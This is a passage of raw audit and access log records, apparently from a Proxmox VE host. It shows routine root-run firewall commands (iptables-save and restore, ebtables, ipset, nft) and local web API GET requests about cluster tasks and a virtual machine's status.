syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955930 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62501 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964067815,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964067.815:59459): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57105 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966081098,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966081.098:68358): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7242de0 a1=637ee7252ef0 a2=637ee7240ef0 a3=8 items=2 ppid=65642 pid=65644 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781964465479,"@rawstring":"node=pve type=EXECVE msg=audit(1781964465.479:61141): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965314632,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:53 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1103"} {"@timestamp":1781964635105,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964635.105:61879): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59375 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966075616,"@rawstring":"node=pve type=EXECVE msg=audit(1781966075.616:68343): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965312534,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965312.534:65064): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955870 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62500 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964067810,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964067.810:59456): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57104 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966081098,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966081.098:68357): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7253d30 a1=637ee7252690 a2=637ee7240ef0 a3=8 items=2 ppid=65642 pid=65643 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ps\" exe=\"/usr/bin/ps\" subj=unconfined key=\"exec\""} {"@timestamp":1781964465474,"@rawstring":"node=pve type=EXECVE msg=audit(1781964465.474:61140): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965314632,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:21:53 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1103"} {"@timestamp":1781964635097,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964635.097:61877): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59374 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966075608,"@rawstring":"node=pve type=EXECVE msg=audit(1781966075.608:68342): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965312534,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965312.534:65063): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955870 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62500 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964065684,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964065.684:59453): arch=c000003e syscall=59 success=yes exit=0 a0=63c4b45d1e90 a1=63c4b45cec10 a2=63c4b45b0680 a3=5 items=2 ppid=57097 pid=57103 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966081096,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966081.096:68356): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7252a00 a1=637ee7256d50 a2=637ee7257220 a3=8 items=2 ppid=846 pid=65641 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781964465468,"@rawstring":"node=pve type=EXECVE msg=audit(1781964465.468:61139): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965312737,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:21:52 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 510"} {"@timestamp":1781964635097,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964635.097:61876): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59374 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966075600,"@rawstring":"node=pve type=EXECVE msg=audit(1781966075.600:68341): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965307522,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965307.522:65061): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899557b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62499 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964065681,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964065.681:59452): arch=c000003e syscall=59 success=yes exit=0 a0=63c4b2973ac8 a1=7ffc495ff2a0 a2=63c4b45b0680 a3=63c4b295724e items=2 ppid=57097 pid=57099 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966080309,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966080.309:68355): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65640 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964465462,"@rawstring":"node=pve type=EXECVE msg=audit(1781964465.462:61138): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965312737,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:51 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 927"} {"@timestamp":1781964630089,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964630.089:61872): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59369 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966075593,"@rawstring":"node=pve type=EXECVE msg=audit(1781966075.593:68339): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965307522,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965307.522:65060): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899557b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62499 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964065680,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964065.680:59451): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc495ff260 a1=63c4b45b7310 a2=63c4b45b0680 a3=5 items=2 ppid=57097 pid=57098 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966080303,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966080.303:68352): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65639 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964465453,"@rawstring":"node=pve type=EXECVE msg=audit(1781964465.453:61137): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965312737,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:51 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964630089,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964630.089:61871): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59369 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966075587,"@rawstring":"node=pve type=EXECVE msg=audit(1781966075.587:68338): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965307510,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965307.510:65058): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899556f0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62498 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964065677,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964065.677:59449): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=57097 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966075639,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966075.639:68349): arch=c000003e syscall=59 success=yes exit=0 a0=5c4433b28cf0 a1=5c4433b34ab0 a2=5c4433b02680 a3=5 items=2 ppid=65632 pid=65638 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964465450,"@rawstring":"node=pve type=EXECVE msg=audit(1781964465.450:61136): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965312737,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:51 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 508"} {"@timestamp":1781964630083,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964630.083:61869): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59368 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966075580,"@rawstring":"node=pve type=EXECVE msg=audit(1781966075.580:68337): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965307510,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965307.510:65057): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899556f0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62498 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964065669,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964065.669:59448): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57096 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966075636,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966075.636:68348): arch=c000003e syscall=59 success=yes exit=0 a0=5c440484aac8 a1=7fff30e88280 a2=5c4433b02680 a3=5c440482e24e items=2 ppid=65632 pid=65634 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964465446,"@rawstring":"node=pve type=EXECVE msg=audit(1781964465.446:61135): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965311612,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:21:50 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1103"} {"@timestamp":1781964630083,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964630.083:61868): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59368 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966075574,"@rawstring":"node=pve type=EXECVE msg=audit(1781966075.574:68336): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965305780,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965305.780:65053): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd8939f090 a1=5f38e8682310 a2=5f38e867b680 a3=5 items=1 ppid=62491 pid=62492 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964065662,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964065.662:59447): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57095 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966075635,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966075.635:68347): arch=c000003e syscall=59 success=yes exit=0 a0=7fff30e88240 a1=5c4433b24390 a2=5c4433b02680 a3=5 items=2 ppid=65632 pid=65633 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964465445,"@rawstring":"node=pve type=EXECVE msg=audit(1781964465.445:61134): argc=1 a0=\"date\""} {"@timestamp":1781965310617,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:49 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 934"} {"@timestamp":1781964625622,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964625.622:61864): arch=c000003e syscall=59 success=no exit=-2 a0=7fffa1953020 a1=6227a814e200 a2=6227a812c680 a3=5 items=1 ppid=59361 pid=59362 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966075567,"@rawstring":"node=pve type=EXECVE msg=audit(1781966075.567:68335): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965305683,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965305.683:65035): arch=c000003e syscall=59 success=no exit=-2 a0=7fffac196720 a1=64058edc7b00 a2=64058edaa680 a3=5 items=1 ppid=62472 pid=62473 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964065656,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964065.656:59446): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57094 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966075631,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966075.631:68345): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=65632 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964465441,"@rawstring":"node=pve type=EXECVE msg=audit(1781964465.441:61132): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965310617,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:49 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1107"} {"@timestamp":1781964625541,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964625.541:61846): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd4ca61e40 a1=5ba8e00d8310 a2=5ba8e00d1680 a3=5 items=1 ppid=59342 pid=59343 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966075561,"@rawstring":"node=pve type=EXECVE msg=audit(1781966075.561:68334): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965302502,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965302.502:65025): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955630 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62462 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964065649,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964065.649:59445): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57093 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966075623,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966075.623:68344): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65631 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964465434,"@rawstring":"node=pve type=EXECVE msg=audit(1781964465.434:61131): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965310617,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:21:49 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 508"} {"@timestamp":1781964625075,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964625.075:61838): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59336 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966075553,"@rawstring":"node=pve type=EXECVE msg=audit(1781966075.553:68333): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965302502,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965302.502:65024): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955630 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62462 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964065646,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964065.646:59444): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5a800a3f0740 items=0 ppid=1156 pid=57092 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966075616,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966075.616:68343): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65630 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964465426,"@rawstring":"node=pve type=EXECVE msg=audit(1781964465.426:61130): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965308503,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:47 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 931"} {"@timestamp":1781964625075,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964625.075:61837): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59336 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966075546,"@rawstring":"node=pve type=EXECVE msg=audit(1781966075.546:68332): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965302492,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965302.492:65022): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955570 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62461 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964065644,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964065.644:59443): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc138a60 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57092 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966075608,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966075.608:68342): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65629 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964465421,"@rawstring":"node=pve type=EXECVE msg=audit(1781964465.421:61129): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965308503,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:47 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964625065,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964625.065:61835): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59335 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966075541,"@rawstring":"node=pve type=EXECVE 